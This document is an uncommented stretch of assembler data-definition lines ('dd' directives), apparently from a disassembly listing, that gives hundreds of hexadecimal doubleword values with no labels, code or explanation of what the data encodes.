		dd 3830D0C0h, 24708FADh, 167976Ch, 290C57ABh, 68E680EBh
		dd 9C90D237h, 5E2B00A1h, 1DE5DD44h, 0AB5C1BB1h,	54610003h
		dd 47193D91h, 0B4B3032h, 0F5F410D1h, 705A9C01h,	0CAA0F9B8h
		dd 0D47830h, 0C135A298h, 49A76279h, 0BF3A9700h,	63A14121h
		dd 0A8770C8Dh, 0C0A0581Bh, 0DE3DA700h, 9CE6DB03h, 5DE4FB79h
		dd 0EC00B08Eh, 22A600F8h, 0B84C2FDFh, 75E617CEh, 488FA894h
		dd 2A7A08Ah, 185468CCh,	0A15DDB82h, 442E4560h, 6A805436h
		dd 99640943h, 816D077Eh, 20305A17h, 11D08EFCh, 0D5188700h
		dd 93379E65h, 6CB01F13h, 8333402Eh, 0F12F3D7Fh,	71E74B04h
		dd 98A0E829h, 1EDA0008h, 0BEB4AC74h, 0F0052B8h,	0F4B298C0h
		dd 12F017h, 82EBA494h, 0DFE90BB3h, 28420226h, 64002B17h
		dd 0F7516B6Eh, 0F99E1D07h, 75288078h, 8E810C3Bh, 0AA32C007h
		dd 0F9B70Bh, 44A53CBCh,	0C3E200D3h, 0A109C87h, 7E58FCA7h
		dd 7906007Fh, 5EF9339Dh, 0CD79C1h, 0AE1F0110h, 37664EC7h
		dd 0FC915B02h, 0C076B514h, 25F1C1Bh, 0BA1F13A2h, 0E0C05E0Bh
		dd 222A437Bh, 3601B07Ah, 14C1D3C7h, 61FC60EAh, 42B1E18h
		dd 585F0081h, 4BDB5933h, 0C10DF600h, 36A2A9A3h,	2C58C01Dh
		dd 0FB28BFC2h, 3FCF4300h, 31CE4DF9h, 20DC5C10h,	9907820Fh
		dd 4A7BE560h, 0B300362Ch, 4204F46Ch, 2C7EACEEh,	3F64358Ch
		dd 280731A5h, 5BCA608Dh, 7099088h, 80E579FCh, 0DE1C684Ch
		dd 0F3E7BF8h, 0D545FBFAh, 0CC8F40ABh, 0E79166E0h, 5AEAB9C5h
		dd 13EA0C01h, 0A732DD30h, 4CE060h, 85E67935h, 0F3088764h
		dd 2FBB3700h, 0FC7E1FF6h, 761703EDh, 0AE7B318Ch, 620D85A0h
		dd 0C7AB0A0Eh, 25E7E05Ch, 3695141h, 8DFBAF0Eh, 98001ED7h
		dd 0FE6580D0h, 1E0F2075h, 5DA0E2E7h, 80681EA9h,	1A13B133h
		dd 0A00E52Fh, 45F2909Ah, 0ADED65h, 42EF68EBh, 18012B69h
		dd 356FB900h, 0BD5C40DCh, 511B00DDh, 2F02BE4Ah,	670044FDh
		dd 7BA427B1h, 0FE14BF7Dh, 0D0AE007Fh, 0F020BE18h, 6D303692h
		dd 0C36F58D1h, 8326003Dh, 58A30B9Eh, 0E01CB3Fh,	38951AD8h
		dd 8FC85AF5h, 0EB8400FFh, 0E482873Eh, 2A00662Dh, 6364F2DCh
		dd 24E203C2h, 784AB6h, 0FE8E211Dh, 0F90005A0h, 7EC76065h
		dd 0F4A972h, 3D2CBE5Ch,	307BCC25h, 80D2D73Eh, 8B5ACF47h
		dd 3D770597h, 0DB025013h, 0FF4B41Bh, 0E75704E0h, 2ABBFE02h
		dd 0EBDC67FAh, 7A21F1CCh, 4CCC24h, 92E57D37h, 0BF0E95B9h
		dd 263C5500h, 8E6913C3h, 92C5485Fh, 5B369F00h, 16DEACA9h
		dd 0FF96E80Fh, 0D58BC294h, 0E3FC43A3h, 1555F062h, 57391C38h
		dd 7C9B04C2h, 52D0802Ch, 94028134h, 0CF7B2920h,	582CD86Dh
		dd 8E809CD3h, 8DCCDCA6h
		dd 5261D80Bh, 5A6420CAh, 0E6657DF2h, 7C1E07F8h,	2009B5B0h
		dd 0BB18A329h, 8A57E518h, 504680D8h, 1F7A89Bh, 94302292h
		dd 3987F53Ah, 5F8F10C8h, 0B0998203h, 11005C9Bh,	7A13F9F3h
		dd 21EBF8h, 0F1B21674h,	57120D11h, 4C3E9400h, 0A63A986Ah
		dd 7E0B1C50h, 91FCC06Eh, 2F97EDB9h, 20BD7226h, 22CC6400h
		dd 0FEE542BFh, 60F4313Eh, 3C18E9E8h, 0C4FB840Ch, 0CFFE9080h
		dd 0E8B027h, 0F84FB39Fh, 953525E8h, 70EE361Dh, 86667FC0h
		dd 31DC08h, 0CB84E244h,	0D1F7DAB9h, 50367700h, 1E8040CFh
		dd 814D0C3Ah, 0FAAAEC64h, 0B4E97B0Fh, 0D895E056h, 27A34130h
		dd 14802113h, 62733167h, 9EECA603h, 0CA8E7E59h,	379C87EFh
		dd 9DF43460h, 0AC733BFDh, 902DE800h, 7710FC12h,	55118100h
		dd 1C798523h, 1CD97517h, 0CE59B96Ah, 7B68016h, 0A0387C9Ch
		dd 0F9A3FBEFh, 23F65A02h, 407F9B7Ah, 1873A010h,	91DCEAD0h
		dd 3D499AB3h, 5DEE0050h, 310985Ah, 757B022Bh, 0C6F556B5h
		dd 8215F0E0h, 9100B979h, 24B6ADE3h, 4A688Eh, 3B631D13h
		dd 6AC62506h, 8031BD3Ch, 0B79970D9h, 2F7946Bh, 5B22B917h
		dd 2FC08B49h, 9779CB3Bh, 69016090h, 0D93CA521h,	8440BF9Dh
		dd 0D76577h, 0C154E4E9h, 0F1A4F4E5h, 84357407h,	37A07E18h
		dd 0A08B19D5h, 986B5F0h, 1F83F07Ah, 2E8A9CE3h, 0BC8FBE40h
		dd 0AA1BBF0Eh, 332BA014h, 32C7C3h, 0D5CE353Dh, 5D390120h
		dd 54542D3Ah, 5A3E5588h, 0D64E8212h, 7EE3D203h,	66D00D8h
		dd 0BC2146E5h, 750C9826h, 20D30E0Ch, 1B2EC14h, 678804B9h
		dd 0CCDEDF3Bh, 8EFC5710h, 837E280Fh, 5D5AA038h,	7FA1562Fh
		dd 18EC004Dh, 704F8F0Ah, 9F1C3428h, 3F8E29B1h, 0B3AA0A1h
		dd 0E22C09h, 2F6DD8FCh,	0CB1A6249h, 5E00877Fh, 0AB84C094h
		dd 8BA00Bh, 2E69A4A1h, 0C4590C64h, 0F11BD300h, 0E9E7A985h
		dd 4A0803E3h, 3AF9B79Ch, 0D21D8800h, 8A59C389h,	3F730214h
		dd 5E8F488Dh, 47C050A3h, 9A2CE100h, 0DFBD4C74h,	8D1C07CAh
		dd 704469D2h, 7EC4BB1Bh, 0A3137D00h, 3511D9C5h,	4C4FEEC0h
		dd 2765C5Ch, 0DB91EA18h, 1840C531h, 0ACA8EF8Ah,	0F0E3D6F5h
		dd 0D1001AECh, 3AC35A73h, 1CCC589h, 0DF83F319h,	0E0E48A06h
		dd 0E9293E64h, 6B034C05h, 0D08A22DFh, 93760B2h,	9C556D13h
		dd 0BEAF7F80h, 8800C14Bh, 3E84E935h, 0EBEAF9h, 27B7A369h
		dd 14F5FDF4h, 181B8A00h, 0D4E21D09h, 9954004Ah,	8E1ACAABh
		dd 0CF07AE86h, 0F3E815D1h, 85AD4400h, 0A8B600CBh, 1C919F43h
		dd 363DAA7Fh, 0CD130025h, 0E6A52D7Dh, 0CC58C016h, 285C7765h
		dd 76D54000h, 0D9D8930Ch, 32B0044h, 2797BBCh, 3D00118Eh
		dd 3C26AC29h, 5F6B3h, 72012FD2h, 8BB214B8h, 0BF51E202h
		dd 61C0CEACh, 0A4D03C93h, 1AA70139h, 3FBC64A6h,	0D909D855h
		dd 44F4C00h, 0C2B4FEE8h, 8ED700C9h, 63ACB312h, 0BB00A7B9h
		dd 566D4313h, 0A5EF2Ch,	95BF1148h, 0CDC9D259h, 0DBA9E00h
		dd 23B399C3h, 1D88EA27h, 0C3F05C3Dh, 30FDAA52h,	30073999h
		dd 12008ADBh, 0B0D79C2Bh, 7514B35h, 2AEC4206h, 90D6D4C6h
		dd 54A5D544h, 0F1F5Ch, 0B8FC246Dh, 8BBEF8h, 0AC824610h
		dd 743806EAh, 329AD301h, 7D8913DEh, 478720h, 228AA671h
		dd 58BDF43Bh, 0D0EB6872h, 0D8009E74h, 53B14324h, 0C79CBEh
		dd 0B7ECF3B0h, 29F55D37h, 0E864CF30h, 0CC9F87h,	16753BEEh
		dd 0DD22E1DCh, 0C1CE38h, 2D312A60h, 0D9A727h, 0B711BEF2h
		dd 251DB59Bh, 0B1623A00h, 0BFE41078h, 0F12F02E5h, 3F4DFE1Ch
		dd 0ACA52F60h, 0E8A14100h, 800393A7h, 9F300DBh,	8C060A65h
		dd 0AA009660h, 0F4151BC1h, 1E5EBB1h, 6A3650E3h,	0D6679399h
		dd 0AF85EC40h, 60965400h, 0D2CDD33Ch, 2F3D04D1h, 0C2599D52h
		dd 0CF812618h, 0C496AB92h, 15015744h, 0A8C1B025h, 0A0242F93h
		dd 0B260001Eh, 44D791F9h, 994DA056h, 8675811Ch,	0E420C511h
		dd 0D8FE380Fh, 4095EA92h, 2B598EA0h, 0C7241F6Fh, 0C10098EBh
		dd 8ADB01FAh, 9F810009h, 25CD4865h, 3618DD11h, 6770C2F2h
		dd 2E770179h, 0DEDBC1B7h, 9002E781h, 824D6104h,	0C1D44345h
		dd 0C425E001h, 0B6C4DECDh, 6F11C022h, 0BA7A30DDh, 3109F4Dh
		dd 912DB8B9h, 0B220FF1Ah, 0A5477786h, 0BEAC8024h, 3584BD4Fh
		dd 0D704C228h, 5577D0C3h, 0B634E886h, 0B505300Eh, 0FDFA1BE9h
		dd 0F2CFF800h, 91BBA16Eh, 5E22009Bh, 0B295286Fh, 0F4006CB5h
		dd 0BF1F75E9h, 0C2D2AE6h, 7ED166F1h, 0A8003A78h, 4D635EDDh
		dd 5C0F47A1h, 0EA7F8249h, 0AEF5002Dh, 9C97BB0h,	0DD006272h
		dd 54567892h, 6BA68FFh,	3BF067F1h, 27079E7Ch, 88EE07B0h
		dd 0BDC0E12Fh, 0A0406596h, 0A8DBFD3Bh, 1A12288h, 0B1176DF2h
		dd 0D812DC5Bh, 4000474Ch, 44252860h, 0F8202A41h, 752F00ACh
		dd 63306A5Bh, 0E87CC189h, 0D44FF400h, 62848CEFh, 1675D5h
		dd 0E5FC9A3Bh, 9D6DC680h, 47CD7F1Eh, 0C3B95181h, 498087DDh
		dd 0B44E0B88h, 4000CAFAh, 95648A5Eh, 914754h, 8C71E080h
		dd 0CFDAE67Ch, 2CE42407h, 5E111CBBh, 4C2068C1h,	8B1803B6h
		dd 0C8D37A8Eh, 0E92E790h, 0DCA41328h, 0B634700h, 0C0028B01h
		dd 7AE10349h, 38208C40h, 0F860C9C8h, 9409C207h,	0CE527DBFh
		dd 1148E059h, 0F78800AAh, 0F351BE0Ch, 0B67AE8B0h, 4D993500h
		dd 0C1D37574h, 0A3EC00E3h, 0A0F16A61h, 42002E92h, 5A0B6B99h
		dd 1E945B1h, 0DD30566Ch, 3029EFBFh, 0CF3E35C4h,	0E01400AAh
		dd 547E65FAh, 0E407177h, 0BD3A5CC9h, 56F07460h,	0B70BAD76h
		dd 3BF6B80h, 997BE4B0h,	31E08AFCh, 0FAF2B1h, 3B280EE6h
		dd 7CCB3D24h, 0ACA75E1Fh, 0A2A600BCh, 6266F30Dh, 28333D52h
		dd 0EDE69400h, 0BC22CAE7h, 0A7CFAD00h, 523DA58Ah, 0EA10BA7Ah
		dd 7C39F86Bh, 2B370054h, 292A8D1Fh, 5B00499Dh, 30EB9125h
		dd 0E0F04082h, 4D140F84h, 0D90768BDh, 0E08A90h,	6D2F7F8Fh
		dd 950BC1Ch, 310FB6F4h,	21889118h, 0ABF03417h, 2A997F0h
		dd 30BFA52Fh, 0CEC0EC76h, 2D00DE11h, 321D93B7h,	78BC70Fh
		dd 9045043Dh, 0E960CFAEh, 0F5F31A7Ch, 0E8C6F4Ch, 8708E1BAh
		dd 23E0BC94h, 69BF95h, 83AF2E4Bh, 0A91FF2D6h, 0BA7DB500h
		dd 88CA9811h, 0CD22008Ch, 0D43A0246h, 7E38E784h, 4DE20048h
		dd 0D57F9C2Eh, 4E110108h, 8470C822h, 479C216Bh,	3BA04EEBh
		dd 6D931F15h, 0D3E0D400h, 129F95B2h, 5D5300ECh,	0B64C5559h
		dd 5AE834ABh, 0C74E800h, 0DEC12A1Ah, 36E70F9h, 5BA1A081h
		dd 0F0E8678Ah, 0D83851F4h, 654A9311h, 6263A440h, 0BAD2C04Bh
		dd 2CD17C90h, 14EE2Eh, 3D9FEDAFh, 6D0014C6h, 0C098B136h
		dd 508C15F9h, 7CACC7h, 0A37DAECDh, 326C9328h, 9EC8E400h
		dd 0CEF10894h, 0B42B0939h, 420081F3h, 61C02371h, 73DF7B00h
		dd 21CA80EFh, 0A745003Eh, 68028966h, 54002C9Dh,	5C2B6A9Fh
		dd 661C3CEh, 0F9FC5256h, 0CB0011ECh, 0C55414C8h, 30BEADh
		dd 91468C39h, 0BA4EA14Fh, 340066B0h, 83079F4Ah,	79F3B3h
		dd 0FB73C662h, 50911D0h, 7271DE02h, 61353F51h, 0ECF0B4F8h
		dd 28D20477h, 0C3BD502Bh, 0E1E2565Ch, 88F5B080h, 340BE726h
		dd 57CC25F4h, 8037809h,	51877109h, 0E4BFF5D6h, 3B0079AEh
		dd 419A3A87h, 0EE4A92A3h, 4F490259h, 6A81CA0Dh,	625EF481h
		dd 219FC44Eh, 0E98F0B00h, 1ECFCCE0h, 0F8B00A1h,	0BD516768h
		dd 8A01903Eh, 66B030BCh, 26C570FCh, 0B740ADEDh,	5FD647Ah
		dd 0F63F8A94h, 0A0F40066h
		dd 3511CC45h, 230CBF00h, 9FE87F8Eh, 44970A13h, 0B0419Eh
		dd 5098BC14h, 0BE2C3010h, 0EE1C0CEAh, 17B47F42h, 2D0860C2h
		dd 189CB086h, 0E0CE2931h, 0B000A664h, 2AA870Bh,	2C89CBA8h
		dd 2C09B8h, 49677662h, 0D4A0E4C6h, 0D0000830h, 577B81CDh
		dd 2835520Dh, 1B8330Fh,	0F8D2AEF4h, 6097EC37h, 54162F59h
		dd 1300B276h, 0D3B9ED35h, 0E2E4F9h, 0C93BE828h,	0FF75A6EAh
		dd 0BE62A805h, 0D2C05440h, 9DC47Bh, 0C56A6CCEh,	5EF57175h
		dd 6700867Ah, 0B44F0B2Fh, 471840h, 4820584Ch, 0DCCFF73h
		dd 80B39D3Ch, 0F42ED623h, 1DF343C1h, 84B8AE7Fh,	0A027C3A5h
		dd 96A22A2Ch, 82238800h, 610257D7h, 0F5DB5B7Eh,	0A844C3D0h
		dd 1CE2EBC4h, 8023A986h, 45A2E8ADh, 67072859h, 76C64AA0h
		dd 1B049C20h, 0C5300B9h, 341C3A65h, 84078EBBh, 41685B6Dh
		dd 66525C00h, 0DD371CAEh, 1351832Ah, 0D0BF9726h, 80506B36h
		dd 46E5DF0Ch, 2E1C0698h, 1D16B619h, 0CA2C410Dh,	0E9A8111Bh
		dd 107DD81Ah, 0C050AF00h, 6A0E4333h, 0D6740442h, 826C3D86h
		dd 0E4642A44h, 4B676D00h, 88282CA4h, 0AB2588EAh, 0D10A504h
		dd 0DC80DE04h, 13B3A2F4h, 62B42Ch, 37200657h, 0E904C9B8h
		dd 64321259h, 993C4480h, 50ED0190h, 5B43965Ch, 4E55FC86h
		dd 0BBEE460Bh, 1484A32Ah, 0FD60D0D4h, 0DC1E01D3h, 6EEEF559h
		dd 2D86D813h, 43E29A01h, 82737629h, 0A957EF4h, 0C58DFB78h
		dd 0D5F701E4h, 24274C0Ch, 4F0E41C8h, 6772DE02h,	76D08794h
		dd 0B0902211h, 0B6140B80h, 7B801298h, 96B4FE2Ah, 955FB21Fh
		dd 200C4C01h, 0BA306A88h, 6FB53CD7h, 5CAA5680h,	39E88106h
		dd 0CEE2DF00h, 62A21CC9h, 21B1607Dh, 438BEA2Bh,	0ED2F2700h
		dd 82F25E95h, 318700FEh, 0E6EFB5DDh, 5B00134Ch,	2576E8D0h
		dd 686B12h, 8A2D033Fh, 4F59A61Ah, 0EE2B5A09h, 8094209Ah
		dd 3E6C7EAAh, 311771B8h, 0F21405F9h, 0B1708039h, 6F0EA478h
		dd 0A559646Dh, 0E4C0C44Ch, 2688060Ah, 2E62Ch, 0FE74A7E8h
		dd 53123090h, 94006C03h, 32F201F5h, 0C41554B5h,	0A9E4010Eh
		dd 46A456BEh, 53828E7h,	8B0928E9h, 0B28E1090h, 509B0091h
		dd 696A6F92h, 0A3006833h, 0C4C0AC6Eh, 6CCA0Eh, 0C5E8D54Ah
		dd 9A351E20h, 0DD072500h, 0CAEFF459h, 0CDFE000Eh, 3FE473E1h
		dd 3D001B72h, 6F4508D4h, 16103877h, 791951Ch, 0CE11EBF8h
		dd 0D0F1B300h, 5B1C1513h, 0F640CEDAh, 6439A2F0h, 74AD00AFh
		dd 1D51662Dh, 76385FDFh, 24453BFEh, 5800DCBAh, 1620E0CCh
		dd 0ED14000Ah, 0AA5551BBh, 9900977Ch, 0DBD13F69h, 723A382Bh
		dd 11601A3h, 41D6FAD4h,	78943017h, 53795500h, 39E08EC7h
		dd 6C335CB8h, 0BEBFB902h, 0A8C842B4h, 0D89609E2h, 0DD059822h
		dd 0A33F7DE1h, 0DFE7EAC0h, 0E37003EDh, 72AC5334h, 0BACBF0E7h
		dd 355C5841h, 5DD5055Dh, 4080A87Eh, 12FACA1h, 838B0A2Eh
		dd 30DB60B2h, 0C4016638h, 0AC3496A2h, 0AC485632h, 1FD671FDh
		dd 24BAC136h, 2F580B20h, 0F9E0A810h, 8DEEA80h, 0F8B0840Bh
		dd 654D5700h, 1275F74h,	7C28CD43h, 61B7B691h, 5B09309Ch
		dd 0A23AC319h, 0A4F47D91h, 0AF750537h, 0C8D07B67h, 0E40EF508h
		dd 0C090C983h, 1F4C9843h, 536800EAh, 88665619h,	1004871h
		dd 0C189AF2Bh, 3ECD20ECh, 4989404Bh, 440006B0h,	0AC331EBAh
		dd 0A2D6C100h, 6EF36FC9h, 0ED8C1444h, 6788CDFh,	6376AFCCh
		dd 690010DCh, 83954DBBh, 0E4C7919Fh, 0C042E737h, 9C968EC8h
		dd 2512C381h, 9C0A4AAh,	0E68302F8h, 5DDAFFDFh, 92DD4C60h
		dd 37008998h, 0BBF74DA0h, 7848A5D1h, 0DA820156h, 1FD08A06h
		dd 243CE853h, 51005CB8h, 699D3625h, 93F82Dh, 67612263h
		dd 9AA4C4BEh, 7E1B9C27h, 0BD5D0006h, 9E98484Ch,	95876601h
		dd 0FDF3F680h, 8D1FC8h,	0A2EF78F8h, 48549385h, 84C6DA1Fh
		dd 709B4CC0h, 13F9189h,	168F9567h, 0E40F7AB3h, 0BA006EB2h
		dd 7FADCB1Bh, 0F89539D7h, 0FF3D0020h, 0A10457CEh, 9801246Dh
		dd 15978936h, 0A428C34Eh, 50F1DF19h, 8968BCD2h,	6A36A4C8h
		dd 7C18606Ch, 0BD2200D8h, 6A5AAA66h, 0B318B66Bh, 3838F03Dh
		dd 24C438BBh, 0CDF0586h, 4E0051AFh, 21EE76DDh, 0F48BB542h
		dd 89FC0117h, 0B2F65B1Bh, 0ADC0E01Dh, 4D85760h,	0F4C12Fh
		dd 9527F7Eh, 0C991B743h, 0D200F6F8h, 2C22EC8Ah,	9D1D13h
		dd 0A46CC130h, 5AC44282h, 29704400h, 0DABF9C69h, 147B09EBh
		dd 9001AFA2h, 0C43681A8h, 0D005997h, 61C05735h,	0FAF2EB3Fh
		dd 4349E26h, 909608BFh,	5CE8FED4h, 2800A490h, 8C2CC7A0h
		dd 0BC0313Ah, 0F2645A12h, 11BB4060h, 0BD8EEC00h, 0A982F816h
		dd 0EB02162Ch, 646C0110h, 30CE2487h, 0E802299Ch, 449C2306h
		dd 0A1B0E1F1h, 0F388420h, 4BB868ADh, 0D6F82820h, 0E202F102h
		dd 94450472h, 4F084016h, 0C1E77EFFh, 7A5B3E38h,	70188E21h
		dd 1780FFF3h, 96FAE41Bh, 79B62D1Ch, 0E0EBFB83h,	2CA2CFD9h
		dd 859400B4h, 7C596097h, 4D610FE6h, 47B30A56h, 40F4E4F8h
		dd 14D1E2AFh, 6C82C89Eh, 87D7C5B4h, 0BE308A8Ch,	0A88B1A1Bh
		dd 139A480h, 64A98911h,	0F6B64957h, 0FF0A9479h,	9482A899h
		dd 0D8805BD8h, 64860378h, 901127A9h, 4AE08AE2h,	7EFC1DB7h
		dd 0A7F2F013h, 0B03BD0C9h, 70C0C354h, 57DF15C8h, 7A49C094h
		dd 3458FA68h, 382F6529h, 281A510Eh, 0A745803Fh,	0CE06AA6h
		dd 0A2C61000h, 0EC0938B7h, 954E41Ah, 0CC188A60h, 0C41C2E82h
		dd 0DE0018D0h, 9EBE89FBh, 0B2D229E9h, 84E70180h, 714A2630h
		dd 9F0FEC01h, 2A74B100h, 37C436A5h, 0C6F700A8h,	0C8BFF854h
		dd 0BD50A0B2h, 46141FDCh, 2ED04813h, 0B48184D9h, 0C2557B56h
		dd 0F43F75D0h, 43F91239h, 495C00D6h, 0D392D79Bh, 0AE10D161h
		dd 0B6F0B711h, 12990053h, 0BAED2DDEh, 0D6007B7Dh, 4AC773F4h
		dd 0A9C61A42h, 64D589D0h, 0F0824878h, 0F8A09DAAh, 0DCBB9347h
		dd 44432401h, 0BC112325h, 7FDFC74h, 625E52EFh, 3B0DC3ABh
		dd 50AD8280h, 9564B707h, 0C7B03E4Fh, 18924D59h,	18BAD097h
		dd 0D70EADF7h, 0E0EE2CF5h, 4CAA4161h, 8030EC6h,	49226C40h
		dd 0B4C02F05h, 0DD0BFE32h, 8011A583h, 439554F4h, 7B9A003Ah
		dd 3996FB65h, 0B50591ABh, 0A45F3D3Fh, 37E6DF80h, 0F530228h
		dd 916DA5FFh, 5515C160h, 0AF41B006h, 0F1F883h, 8C907F59h
		dd 2AD0E81Ah, 874C6109h, 9E14044Ah, 49685040h, 8C011198h
		dd 29E1E22Fh, 9E30098Ah, 0B1A105E9h, 0A0B2497Eh, 1114B85Ch
		dd 0B2A4A51Fh, 61A66180h, 462430h, 0D71331DDh, 0C97266Fh
		dd 603549h, 0A2A9C141h,	60CE1A89h, 48704106h, 4C9111E5h
		dd 9F3BC581h, 1080A1D4h, 0D712040Eh, 2148B9E2h,	50311C4Fh
		dd 48005512h, 0EBCFDFAh, 1F09610h, 875C5D4Ch, 235C6C85h
		dd 0C2AF002Ch, 581CE16h, 0D9E3F630h, 0F7AB60Ah,	0C09E62Eh
		dd 63BE0FC2h, 17C0784Ah, 6F05ED61h, 0C41A0A03h,	150050B3h
		dd 2EAE82CBh, 3C987DD7h, 80873427h, 0DDD670ECh,	0E48500FFh
		dd 8773C21h, 1A7672DBh,	0D025DAFAh, 55CC0052h, 17A87357h
		dd 59AF63h, 71D2D88Ch, 887F458Ch, 85C5213Ch, 0A6F58C2h
		dd 0D3222C80h, 132F286h, 4696AC65h, 0E4AB6A7Ah,	64055461h
		dd 0BEA9E4Dh, 2E9A8B00h, 1C8ABCE0h, 87D3D948h, 0EF4EFE24h
		dd 0D0EF3367h, 6C788E92h, 342F250Bh, 0D630C69Fh, 0DC30C371h
		dd 1C1ED1E8h, 6E584E01h, 8C6CCE9Ch, 1718860h, 0FF23EE20h
		dd 24EBDCD9h, 82C143C0h
		dd 39F913C0h, 9B8B6A0h,	0EA850628h, 13B98Ah, 6B600780h
		dd 1E06952Dh, 0F5F1E63Bh, 0F3A90678h, 0C80E27E2h, 7EFF0D00h
		dd 90420733h, 9C93040h,	215CAF18h, 80A1C175h, 0B006C0CBh
		dd 54F858E0h, 9B1A711Ch, 0E0E1A4C9h, 3BBC44h, 15323597h
		dd 0B5B4245h, 4E077C9Eh, 94426EECh, 0A6D84002h,	894F0F10h
		dd 7ACE0DA7h, 0EE295E2Eh, 0E6605C0Fh, 87C9D720h, 70004576h
		dd 0E51C430Ch, 6E4BD3h,	7AB2FA2Fh, 0C716BBBCh, 38E27F30h
		dd 1EB13179h, 80626871h, 666A8154h, 0E4139764h,	24001DAFh
		dd 177E96A2h, 6A1004Ah,	8B728883h, 82128E7Ch, 1C1C4C2Ah
		dd 1F7F4D41h, 8040C62Fh, 0C296BBh, 52E2E60Eh, 0E0D64564h
		dd 0DF389D60h, 4028CFh,	0DB3C148Ch, 765AA2ACh, 0C96F6A09h
		dd 4CE8C1F4h, 128860C2h, 39280046h, 1B697DCFh, 301E757h
		dd 3DE11A88h, 5D5FBC2h,	1FAECB30h, 91134Eh, 28534D8Eh
		dd 163888CFh, 0FC0900E7h, 6C679FE0h, 4F310F91h,	0A4009268h
		dd 0E5DED026h, 1FCE248h, 0A90A594Dh, 20F86675h,	0E7B739C7h
		dd 0EAEBF983h, 110017A5h, 77325A7Ch, 76B5C0h, 8DFAF9F1h
		dd 3DE4936Fh, 740F0390h, 0F8A808CCh, 0F42A230h,	215D6C5Ch
		dd 8C67A000h, 1F0074E8h, 59B52E9Ch, 0D5E25h, 0FA4FF81h
		dd 0D7FBFA8Eh, 2B009F72h, 23187A1Fh, 0C8984Fh, 5E1205E7h
		dd 0C90197BFh, 0B4A3C00h, 0BBBE2D18h, 31830128h, 59989D2Ch
		dd 2F27D486h, 0EBCCF700h, 2354F222h, 0AA3500FEh, 21514BC3h
		dd 2400E9CDh, 0D336683h, 0A06C5956h, 0EEE6E0A5h, 4B9E031Ch
		dd 0A4A108C2h, 0C7D898DBh, 0F700A705h, 0F27BC453h, 2103DAh
		dd 1D95DF4Eh, 3869C6BAh, 6B044700h, 3A2EB38Bh, 0CB771FB6h
		dd 702F4012h, 632A4367h, 0ABB74700h, 0D172D687h, 798000B0h
		dd 34BED729h, 0ED0FA34Eh, 40E488F3h, 9439668h, 9D510097h
		dd 0F4201375h, 530054E6h, 0EE115606h, 0A022F07Fh, 90035FB0h
		dd 0C6E300BBh, 85DE3DE8h, 1D007D29h, 52C07542h,	0FDA906h
		dd 0F3717B8Bh, 32B41BEBh, 0E9DDD900h, 299D1972h, 605E00BEh
		dd 45B03B6Ah, 47007799h, 537ED74Bh, 71F115h, 0FC2BBAC8h
		dd 0BE7F3EB4h, 804D603Fh, 0BC0F5ACEh, 168E204h,	799DA095h
		dd 208EB044h, 5E000C40h, 0A8EEB96Eh, 0EA490736h, 16CF71B1h
		dd 29E04E0h, 0A0678A1Dh, 0FF01B5F6h, 0D080139Fh, 0C064D5C0h
		dd 1EC9DB18h, 60006678h, 4817BDECh, 7226B0DCh, 93F5008Bh
		dd 7BF5FD2h, 7D009547h,	0FD977890h, 5913A3h, 50435D55h
		dd 416B2070h, 2B364500h, 0D0218A9Bh, 0BF3F0014h, 7C7A5213h
		dd 0B9009548h, 0FAD3963Dh, 1F1FC9FCh, 49F7C03Eh, 0FB00AFC5h
		dd 65516D07h, 9A294500h, 618102A6h, 3921C0Fh, 2B32005Eh
		dd 0C4A305E5h, 0F63F5100h, 0B907D2F8h, 0D116004Fh, 8220EFC0h
		dd 2625FB28h, 0F7DE3Eh,	62C31DCFh, 3B00C0A5h, 0A9E91846h
		dd 1EFF52Bh, 1BE01CD7h,	0C8173187h, 2D39157Ch, 3C7A0077h
		dd 0F55159CDh, 0C9FB0C13h, 691163A1h, 67037BF6h, 79613A99h
		dd 4928E065h, 0C87BC0h,	81F7F1BDh, 1137B1B2h, 4836FE01h
		dd 5FEB82FCh, 0C960D0h,	18CA20C6h, 29D243F5h, 0CF013Fh
		dd 55A615D3h, 0F9D98Ah,	53B52C3Ch, 855D31CEh, 1B327300h
		dd 0F34A59D7h, 4D76AAh,	0C4774250h, 0BA714956h,	3016EB00h
		dd 36989632h, 819300EFh, 89ABE7EEh, 40B81DE4h, 0BB17DE00h
		dd 0CDC9C8B9h, 0FE8700A3h, 0F5FCD4C2h, 0F63B5FD9h, 711F81A0h
		dd 80D37F45h, 88807861h, 4157EFB4h, 7CFAA42Dh, 0D0E2BA0Ah
		dd 0EA90108Fh, 47670520h, 12476008h, 31C213A1h,	4D2897h
		dd 55C5D63Ah, 0CD74AB7Ch, 449A7307h, 70E4BA41h,	9D350780h
		dd 0C2C10007h, 0EFD3B26Bh, 77019416h, 684CF7ABh, 50802BB4h
		dd 41552DA8h, 44A02256h, 60037249h, 578B7B97h, 378CE8C3h
		dd 4F4A00C2h, 50B2C692h, 7C00042Ah, 25C954C4h, 784D7BA4h
		dd 3DAA30F5h, 0B2ECA890h, 0C0560328h, 8CD2C000h, 223E4735h
		dd 0EFE9004Dh, 5DDFEB3Bh, 500E649h, 1887B643h, 748ACF63h
		dd 56AB3C3Ch, 0DF5E7D00h, 418352C7h, 36D70600h,	1512837h
		dd 26A60099h, 84DFF016h, 18C109B2h, 1AFFB6BBh, 0E3C1BFFBh
		dd 0F641C944h, 2083022Ah, 50C5997Eh, 0E2DF9803h, 0E6B9B683h
		dd 4B730130h, 0D2C7E989h, 3A35E4C8h, 0E84018D8h, 0C1C9802Ch
		dd 691E4978h, 113F2E44h, 0C03C0DAEh, 0A43C4295h, 6F3DBC09h
		dd 0C8C76882h, 8695E091h, 0C199CE09h, 874D1989h, 0D070516Dh
		dd 6A30A4DFh, 64A6D128h, 7198787Dh, 32E630C3h, 18407F41h
		dd 44306A0Ah, 0D380B42Bh, 0D4CF500Bh, 0DFE007DAh, 0C03783DEh
		dd 749542ACh, 41688976h, 760E6060h, 8D803EE0h, 94708EB2h
		dd 4CC90331h, 2D5C38FFh, 50669800h, 1871AD62h, 64E93A9Ch
		dd 0A309545Ch, 0F3817448h, 0F0CC2DC3h, 0D100B6A2h, 765FBA87h
		dd 7895A057h, 0FFC800D9h, 8BC5B1ABh, 0F600B0A9h, 0AC748A79h
		dd 65285BAh, 4E30C088h,	0A481C925h, 0B2971336h,	49B240F2h
		dd 381E28AFh, 3164058Ch, 40CCCA77h, 3402EA8h, 6D064779h
		dd 754F57A4h, 2183FF08h, 33037801h, 0A5CBC0E5h,	0A43F82B2h
		dd 45E8058Bh, 0D406C47Bh, 68176A7h, 0D6CFF389h,	0E7304138h
